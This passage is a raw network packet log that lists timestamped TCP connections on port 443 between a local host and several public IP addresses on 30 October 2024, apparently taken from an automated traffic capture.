Oct 30, 2024 16:25:58.548157930 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.548192978 CET	49768	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.548197031 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.548516035 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.548557997 CET	49768	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.548563957 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.548599958 CET	49768	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.548618078 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.548664093 CET	49768	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.548667908 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.548712969 CET	49768	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.549097061 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.549139023 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.549156904 CET	49768	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.549161911 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.549187899 CET	49768	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.549204111 CET	49768	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.549738884 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.549793005 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.549793005 CET	49768	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.549802065 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.549885035 CET	49768	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.550417900 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.550478935 CET	49768	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.550497055 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.550534964 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.550554037 CET	49768	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.550559044 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.550576925 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.550580025 CET	49768	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.550621033 CET	49768	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.550626040 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.550659895 CET	49768	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.561820030 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.561906099 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.561948061 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.561966896 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.561980009 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.562028885 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.562046051 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.562051058 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.562099934 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.562134981 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.562139988 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.562187910 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.562679052 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.562753916 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.562802076 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.562808037 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.563332081 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.563452959 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.563469887 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.563476086 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.563560963 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.564179897 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.564245939 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.564250946 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.564291954 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.564394951 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.564409971 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.564414978 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.564491987 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.565068960 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.565118074 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.565148115 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.565152884 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.565187931 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.565917969 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.565993071 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.565993071 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.566004992 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.566081047 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.605576038 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.605690002 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.605699062 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.605760098 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.667207003 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.667284012 CET	49768	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.667310953 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.667401075 CET	49768	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.667654037 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.667706013 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.667737961 CET	49768	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.667747974 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.667762995 CET	49768	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.667763948 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.667819977 CET	49768	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.667824030 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.667867899 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.667898893 CET	49768	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.667927980 CET	49768	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.674562931 CET	49768	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.674582005 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.680691004 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.680754900 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.680809021 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.680818081 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.680835962 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.680871010 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.680938005 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.680977106 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.681032896 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.681032896 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.681039095 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.681092978 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.681386948 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.681430101 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.681468010 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.681472063 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.681503057 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.681519985 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.681540966 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.681555033 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.681555033 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.681559086 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.681602955 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.681602955 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.682281017 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.682337999 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.682378054 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.682416916 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.682434082 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.682439089 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.682487011 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.683176041 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.683233023 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.683243036 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.683249950 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.683273077 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.683279037 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.683330059 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.683367968 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.683367968 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.683373928 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.683432102 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.683481932 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.690731049 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.690753937 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.740535021 CET	49771	443	192.168.2.16	104.21.11.102
Oct 30, 2024 16:25:58.740655899 CET	443	49771	104.21.11.102	192.168.2.16
Oct 30, 2024 16:25:58.740737915 CET	49771	443	192.168.2.16	104.21.11.102
Oct 30, 2024 16:25:58.742501020 CET	49771	443	192.168.2.16	104.21.11.102
Oct 30, 2024 16:25:58.742528915 CET	443	49771	104.21.11.102	192.168.2.16
Oct 30, 2024 16:25:59.355726004 CET	443	49771	104.21.11.102	192.168.2.16
Oct 30, 2024 16:25:59.356048107 CET	49771	443	192.168.2.16	104.21.11.102
Oct 30, 2024 16:25:59.356076956 CET	443	49771	104.21.11.102	192.168.2.16
Oct 30, 2024 16:25:59.356447935 CET	443	49771	104.21.11.102	192.168.2.16
Oct 30, 2024 16:25:59.356760025 CET	49771	443	192.168.2.16	104.21.11.102
Oct 30, 2024 16:25:59.356844902 CET	443	49771	104.21.11.102	192.168.2.16
Oct 30, 2024 16:25:59.356921911 CET	49771	443	192.168.2.16	104.21.11.102
Oct 30, 2024 16:25:59.399342060 CET	443	49771	104.21.11.102	192.168.2.16
Oct 30, 2024 16:25:59.894428968 CET	443	49771	104.21.11.102	192.168.2.16
Oct 30, 2024 16:25:59.894577026 CET	443	49771	104.21.11.102	192.168.2.16
Oct 30, 2024 16:25:59.894628048 CET	49771	443	192.168.2.16	104.21.11.102
Oct 30, 2024 16:25:59.895795107 CET	49771	443	192.168.2.16	104.21.11.102
Oct 30, 2024 16:25:59.895816088 CET	443	49771	104.21.11.102	192.168.2.16
Oct 30, 2024 16:26:07.698350906 CET	49674	443	192.168.2.16	204.79.197.200
Oct 30, 2024 16:26:07.698522091 CET	49675	443	192.168.2.16	204.79.197.200
Oct 30, 2024 16:26:07.698602915 CET	49677	443	192.168.2.16	204.79.197.200
Oct 30, 2024 16:26:07.698939085 CET	49772	443	192.168.2.16	204.79.197.200
Oct 30, 2024 16:26:07.698972940 CET	443	49772	204.79.197.200	192.168.2.16
Oct 30, 2024 16:26:07.699074984 CET	49772	443	192.168.2.16	204.79.197.200
Oct 30, 2024 16:26:07.699297905 CET	49772	443	192.168.2.16	204.79.197.200
Oct 30, 2024 16:26:07.699309111 CET	443	49772	204.79.197.200	192.168.2.16
Oct 30, 2024 16:26:07.998991966 CET	49675	443	192.168.2.16	204.79.197.200
Oct 30, 2024 16:26:07.999135017 CET	49674	443	192.168.2.16	204.79.197.200
Oct 30, 2024 16:26:07.999135017 CET	49677	443	192.168.2.16	204.79.197.200
Oct 30, 2024 16:26:08.432111979 CET	443	49772	204.79.197.200	192.168.2.16
Oct 30, 2024 16:26:08.432223082 CET	49772	443	192.168.2.16	204.79.197.200
Oct 30, 2024 16:26:08.432848930 CET	443	49772	204.79.197.200	192.168.2.16
Oct 30, 2024 16:26:08.432929993 CET	49772	443	192.168.2.16	204.79.197.200
Oct 30, 2024 16:26:08.456775904 CET	49772	443	192.168.2.16	204.79.197.200
Oct 30, 2024 16:26:08.456787109 CET	443	49772	204.79.197.200	192.168.2.16
Oct 30, 2024 16:26:08.457164049 CET	443	49772	204.79.197.200	192.168.2.16
Oct 30, 2024 16:26:08.457230091 CET	49772	443	192.168.2.16	204.79.197.200
Oct 30, 2024 16:26:08.457679987 CET	49772	443	192.168.2.16	204.79.197.200
Oct 30, 2024 16:26:08.457705975 CET	443	49772	204.79.197.200	192.168.2.16
Oct 30, 2024 16:26:08.457863092 CET	49772	443	192.168.2.16	204.79.197.200
Oct 30, 2024 16:26:08.503334045 CET	443	49772	204.79.197.200	192.168.2.16
Oct 30, 2024 16:26:08.603008032 CET	49675	443	192.168.2.16	204.79.197.200
Oct 30, 2024 16:26:08.605277061 CET	49677	443	192.168.2.16	204.79.197.200
Oct 30, 2024 16:26:08.608127117 CET	49674	443	192.168.2.16	204.79.197.200
Oct 30, 2024 16:26:08.618665934 CET	443	49772	204.79.197.200	192.168.2.16
Oct 30, 2024 16:26:08.618738890 CET	49772	443	192.168.2.16	204.79.197.200
Oct 30, 2024 16:26:08.618827105 CET	49772	443	192.168.2.16	204.79.197.200
Oct 30, 2024 16:26:08.618858099 CET	443	49772	204.79.197.200	192.168.2.16
Oct 30, 2024 16:26:08.618967056 CET	49772	443	192.168.2.16	204.79.197.200
Oct 30, 2024 16:26:09.814985037 CET	49674	443	192.168.2.16	204.79.197.200
Oct 30, 2024 16:26:09.814986944 CET	49675	443	192.168.2.16	204.79.197.200
Oct 30, 2024 16:26:09.815099001 CET	49677	443	192.168.2.16	204.79.197.200
Oct 30, 2024 16:26:12.225071907 CET	49674	443	192.168.2.16	204.79.197.200
Oct 30, 2024 16:26:12.225073099 CET	49675	443	192.168.2.16	204.79.197.200
Oct 30, 2024 16:26:12.225286007 CET	49677	443	192.168.2.16	204.79.197.200
Oct 30, 2024 16:26:15.051359892 CET	49773	443	192.168.2.16	172.202.163.200
Oct 30, 2024 16:26:15.051534891 CET	443	49773	172.202.163.200	192.168.2.16
Oct 30, 2024 16:26:15.051676035 CET	49773	443	192.168.2.16	172.202.163.200
Oct 30, 2024 16:26:15.052063942 CET	49773	443	192.168.2.16	172.202.163.200
Oct 30, 2024 16:26:15.052079916 CET	443	49773	172.202.163.200	192.168.2.16
Oct 30, 2024 16:26:15.813900948 CET	443	49773	172.202.163.200	192.168.2.16
Oct 30, 2024 16:26:15.814099073 CET	49773	443	192.168.2.16	172.202.163.200
Oct 30, 2024 16:26:15.815597057 CET	49773	443	192.168.2.16	172.202.163.200
Oct 30, 2024 16:26:15.815606117 CET	443	49773	172.202.163.200	192.168.2.16
Oct 30, 2024 16:26:15.815853119 CET	443	49773	172.202.163.200	192.168.2.16
Oct 30, 2024 16:26:15.817714930 CET	49773	443	192.168.2.16	172.202.163.200
Oct 30, 2024 16:26:15.859344006 CET	443	49773	172.202.163.200	192.168.2.16
Oct 30, 2024 16:26:16.071216106 CET	443	49773	172.202.163.200	192.168.2.16
Oct 30, 2024 16:26:16.071238995 CET	443	49773	172.202.163.200	192.168.2.16
Oct 30, 2024 16:26:16.071269035 CET	443	49773	172.202.163.200	192.168.2.16
Oct 30, 2024 16:26:16.071305990 CET	49773	443	192.168.2.16	172.202.163.200
Oct 30, 2024 16:26:16.071337938 CET	443	49773	172.202.163.200	192.168.2.16
Oct 30, 2024 16:26:16.071358919 CET	49773	443	192.168.2.16	172.202.163.200
Oct 30, 2024 16:26:16.071388960 CET	49773	443	192.168.2.16	172.202.163.200
Oct 30, 2024 16:26:16.072892904 CET	443	49773	172.202.163.200	192.168.2.16
Oct 30, 2024 16:26:16.072926998 CET	443	49773	172.202.163.200	192.168.2.16
Oct 30, 2024 16:26:16.072952986 CET	49773	443	192.168.2.16	172.202.163.200
Oct 30, 2024 16:26:16.072959900 CET	443	49773	172.202.163.200	192.168.2.16
Oct 30, 2024 16:26:16.072977066 CET	443	49773	172.202.163.200	192.168.2.16
Oct 30, 2024 16:26:16.073009014 CET	49773	443	192.168.2.16	172.202.163.200
Oct 30, 2024 16:26:16.073030949 CET	49773	443	192.168.2.16	172.202.163.200
Oct 30, 2024 16:26:16.073945045 CET	49773	443	192.168.2.16	172.202.163.200
Oct 30, 2024 16:26:16.073960066 CET	443	49773	172.202.163.200	192.168.2.16
Oct 30, 2024 16:26:16.073971987 CET	49773	443	192.168.2.16	172.202.163.200
Oct 30, 2024 16:26:16.073976994 CET	443	49773	172.202.163.200	192.168.2.16
Oct 30, 2024 16:26:17.025983095 CET	49674	443	192.168.2.16	204.79.197.200
Oct 30, 2024 16:26:17.025985956 CET	49675	443	192.168.2.16	204.79.197.200
Oct 30, 2024 16:26:17.026020050 CET	49677	443	192.168.2.16	204.79.197.200
Oct 30, 2024 16:26:18.441114902 CET	49683	443	192.168.2.16	204.79.197.222
Oct 30, 2024 16:26:18.441370010 CET	49775	443	192.168.2.16	204.79.197.222
Oct 30, 2024 16:26:18.441415071 CET	443	49775	204.79.197.222	192.168.2.16
Oct 30, 2024 16:26:18.441484928 CET	49775	443	192.168.2.16	204.79.197.222
Oct 30, 2024 16:26:18.441669941 CET	49775	443	192.168.2.16	204.79.197.222
Oct 30, 2024 16:26:18.441684008 CET	443	49775	204.79.197.222	192.168.2.16
Oct 30, 2024 16:26:18.743068933 CET	49683	443	192.168.2.16	204.79.197.222
Oct 30, 2024 16:26:19.246818066 CET	443	49775	204.79.197.222	192.168.2.16
Oct 30, 2024 16:26:19.246910095 CET	49775	443	192.168.2.16	204.79.197.222
Oct 30, 2024 16:26:19.249965906 CET	49775	443	192.168.2.16	204.79.197.222
Oct 30, 2024 16:26:19.249974012 CET	443	49775	204.79.197.222	192.168.2.16
Oct 30, 2024 16:26:19.250088930 CET	49775	443	192.168.2.16	204.79.197.222
Oct 30, 2024 16:26:19.250094891 CET	443	49775	204.79.197.222	192.168.2.16
Oct 30, 2024 16:26:19.250305891 CET	443	49775	204.79.197.222	192.168.2.16
Oct 30, 2024 16:26:19.250381947 CET	49775	443	192.168.2.16	204.79.197.222
Oct 30, 2024 16:26:19.344014883 CET	49683	443	192.168.2.16	204.79.197.222
Oct 30, 2024 16:26:19.400907993 CET	443	49775	204.79.197.222	192.168.2.16
Oct 30, 2024 16:26:19.401057959 CET	49775	443	192.168.2.16	204.79.197.222
Oct 30, 2024 16:26:19.401068926 CET	443	49775	204.79.197.222	192.168.2.16
Oct 30, 2024 16:26:19.401124954 CET	443	49775	204.79.197.222	192.168.2.16
Oct 30, 2024 16:26:19.401132107 CET	49775	443	192.168.2.16	204.79.197.222
Oct 30, 2024 16:26:19.401154041 CET	443	49775	204.79.197.222	192.168.2.16
Oct 30, 2024 16:26:19.401206970 CET	49775	443	192.168.2.16	204.79.197.222
Oct 30, 2024 16:26:19.401206970 CET	49775	443	192.168.2.16	204.79.197.222
Oct 30, 2024 16:26:19.401272058 CET	443	49775	204.79.197.222	192.168.2.16
Oct 30, 2024 16:26:19.401369095 CET	49775	443	192.168.2.16	204.79.197.222
Oct 30, 2024 16:26:19.525183916 CET	443	49775	204.79.197.222	192.168.2.16
Oct 30, 2024 16:26:19.525273085 CET	49775	443	192.168.2.16	204.79.197.222
Oct 30, 2024 16:26:19.525386095 CET	443	49775	204.79.197.222	192.168.2.16
Oct 30, 2024 16:26:19.525455952 CET	49775	443	192.168.2.16	204.79.197.222
Oct 30, 2024 16:26:19.525866032 CET	443	49775	204.79.197.222	192.168.2.16
Oct 30, 2024 16:26:19.525989056 CET	49775	443	192.168.2.16	204.79.197.222
Oct 30, 2024 16:26:19.525989056 CET	49775	443	192.168.2.16	204.79.197.222
Oct 30, 2024 16:26:19.525998116 CET	443	49775	204.79.197.222	192.168.2.16
Oct 30, 2024 16:26:19.526057959 CET	49775	443	192.168.2.16	204.79.197.222
Oct 30, 2024 16:26:20.553991079 CET	49683	443	192.168.2.16	204.79.197.222
Oct 30, 2024 16:26:20.876971006 CET	49776	443	192.168.2.16	104.21.11.102
Oct 30, 2024 16:26:20.877015114 CET	443	49776	104.21.11.102	192.168.2.16
Oct 30, 2024 16:26:20.877113104 CET	49776	443	192.168.2.16	104.21.11.102
Oct 30, 2024 16:26:20.877382040 CET	49776	443	192.168.2.16	104.21.11.102
Oct 30, 2024 16:26:20.877397060 CET	443	49776	104.21.11.102	192.168.2.16
Oct 30, 2024 16:26:21.493282080 CET	443	49776	104.21.11.102	192.168.2.16
Oct 30, 2024 16:26:21.493607044 CET	49776	443	192.168.2.16	104.21.11.102
Oct 30, 2024 16:26:21.493634939 CET	443	49776	104.21.11.102	192.168.2.16
Oct 30, 2024 16:26:21.494024038 CET	443	49776	104.21.11.102	192.168.2.16
Oct 30, 2024 16:26:21.494337082 CET	49776	443	192.168.2.16	104.21.11.102
Oct 30, 2024 16:26:21.494455099 CET	443	49776	104.21.11.102	192.168.2.16
Oct 30, 2024 16:26:21.543962002 CET	49776	443	192.168.2.16	104.21.11.102
Oct 30, 2024 16:26:21.557632923 CET	49777	443	192.168.2.16	13.107.4.254
Oct 30, 2024 16:26:21.557667017 CET	443	49777	13.107.4.254	192.168.2.16
Oct 30, 2024 16:26:21.557998896 CET	49777	443	192.168.2.16	13.107.4.254
Oct 30, 2024 16:26:21.558046103 CET	49777	443	192.168.2.16	13.107.4.254
Oct 30, 2024 16:26:21.558060884 CET	443	49777	13.107.4.254	192.168.2.16
Oct 30, 2024 16:26:22.309720039 CET	443	49777	13.107.4.254	192.168.2.16
Oct 30, 2024 16:26:22.309848070 CET	49777	443	192.168.2.16	13.107.4.254
Oct 30, 2024 16:26:22.312695026 CET	49777	443	192.168.2.16	13.107.4.254
Oct 30, 2024 16:26:22.312705994 CET	443	49777	13.107.4.254	192.168.2.16
Oct 30, 2024 16:26:22.312854052 CET	49777	443	192.168.2.16	13.107.4.254
Oct 30, 2024 16:26:22.312865973 CET	443	49777	13.107.4.254	192.168.2.16
Oct 30, 2024 16:26:22.313051939 CET	443	49777	13.107.4.254	192.168.2.16
Oct 30, 2024 16:26:22.313136101 CET	49777	443	192.168.2.16	13.107.4.254
Oct 30, 2024 16:26:22.440289021 CET	443	49777	13.107.4.254	192.168.2.16
Oct 30, 2024 16:26:22.440417051 CET	49777	443	192.168.2.16	13.107.4.254
Oct 30, 2024 16:26:22.440435886 CET	443	49777	13.107.4.254	192.168.2.16
Oct 30, 2024 16:26:22.440515995 CET	49777	443	192.168.2.16	13.107.4.254
Oct 30, 2024 16:26:22.440826893 CET	443	49777	13.107.4.254	192.168.2.16
Oct 30, 2024 16:26:22.440915108 CET	49777	443	192.168.2.16	13.107.4.254
Oct 30, 2024 16:26:22.440915108 CET	49777	443	192.168.2.16	13.107.4.254
Oct 30, 2024 16:26:22.440965891 CET	443	49777	13.107.4.254	192.168.2.16
Oct 30, 2024 16:26:22.441037893 CET	49777	443	192.168.2.16	13.107.4.254
Oct 30, 2024 16:26:22.442884922 CET	49778	443	192.168.2.16	13.107.4.254
Oct 30, 2024 16:26:22.442924976 CET	443	49778	13.107.4.254	192.168.2.16
Oct 30, 2024 16:26:22.442990065 CET	49778	443	192.168.2.16	13.107.4.254
Oct 30, 2024 16:26:22.443216085 CET	49778	443	192.168.2.16	13.107.4.254
Oct 30, 2024 16:26:22.443231106 CET	443	49778	13.107.4.254	192.168.2.16
Oct 30, 2024 16:26:22.550082922 CET	49779	443	192.168.2.16	142.250.184.196
Oct 30, 2024 16:26:22.550134897 CET	443	49779	142.250.184.196	192.168.2.16
Oct 30, 2024 16:26:22.550242901 CET	49779	443	192.168.2.16	142.250.184.196
Oct 30, 2024 16:26:22.550473928 CET	49779	443	192.168.2.16	142.250.184.196
Oct 30, 2024 16:26:22.550491095 CET	443	49779	142.250.184.196	192.168.2.16
Oct 30, 2024 16:26:22.963975906 CET	49683	443	192.168.2.16	204.79.197.222
Oct 30, 2024 16:26:23.215750933 CET	443	49778	13.107.4.254	192.168.2.16
Oct 30, 2024 16:26:23.215830088 CET	49778	443	192.168.2.16	13.107.4.254
Oct 30, 2024 16:26:23.216320038 CET	49778	443	192.168.2.16	13.107.4.254
Oct 30, 2024 16:26:23.216326952 CET	443	49778	13.107.4.254	192.168.2.16
Oct 30, 2024 16:26:23.216535091 CET	49778	443	192.168.2.16	13.107.4.254
Oct 30, 2024 16:26:23.216540098 CET	443	49778	13.107.4.254	192.168.2.16
Oct 30, 2024 16:26:23.349097967 CET	443	49778	13.107.4.254	192.168.2.16
Oct 30, 2024 16:26:23.349215031 CET	49778	443	192.168.2.16	13.107.4.254
Oct 30, 2024 16:26:23.349237919 CET	443	49778	13.107.4.254	192.168.2.16
Oct 30, 2024 16:26:23.349286079 CET	49778	443	192.168.2.16	13.107.4.254
Oct 30, 2024 16:26:23.349729061 CET	443	49778	13.107.4.254	192.168.2.16
Oct 30, 2024 16:26:23.349771976 CET	49778	443	192.168.2.16	13.107.4.254
Oct 30, 2024 16:26:23.349791050 CET	443	49778	13.107.4.254	192.168.2.16
Oct 30, 2024 16:26:23.349834919 CET	49778	443	192.168.2.16	13.107.4.254
Oct 30, 2024 16:26:23.351946115 CET	49778	443	192.168.2.16	13.107.4.254
Oct 30, 2024 16:26:23.351963043 CET	443	49778	13.107.4.254	192.168.2.16
Oct 30, 2024 16:26:23.364559889 CET	49780	443	192.168.2.16	13.107.219.254
Oct 30, 2024 16:26:23.364608049 CET	443	49780	13.107.219.254	192.168.2.16
Oct 30, 2024 16:26:23.364681959 CET	49780	443	192.168.2.16	13.107.219.254
Oct 30, 2024 16:26:23.365022898 CET	49780	443	192.168.2.16	13.107.219.254
Oct 30, 2024 16:26:23.365037918 CET	443	49780	13.107.219.254	192.168.2.16
Oct 30, 2024 16:26:23.409796953 CET	443	49779	142.250.184.196	192.168.2.16
Oct 30, 2024 16:26:23.410154104 CET	49779	443	192.168.2.16	142.250.184.196
Oct 30, 2024 16:26:23.410185099 CET	443	49779	142.250.184.196	192.168.2.16
Oct 30, 2024 16:26:23.410515070 CET	443	49779	142.250.184.196	192.168.2.16
Oct 30, 2024 16:26:23.410815954 CET	49779	443	192.168.2.16	142.250.184.196
Oct 30, 2024 16:26:23.410873890 CET	443	49779	142.250.184.196	192.168.2.16
Oct 30, 2024 16:26:23.459053040 CET	49779	443	192.168.2.16	142.250.184.196
Oct 30, 2024 16:26:23.462157965 CET	49781	443	192.168.2.16	204.79.197.200
Oct 30, 2024 16:26:23.462213039 CET	443	49781	204.79.197.200	192.168.2.16
Oct 30, 2024 16:26:23.462296963 CET	49781	443	192.168.2.16	204.79.197.200
Oct 30, 2024 16:26:23.462471008 CET	49781	443	192.168.2.16	204.79.197.200
Oct 30, 2024 16:26:23.462483883 CET	443	49781	204.79.197.200	192.168.2.16
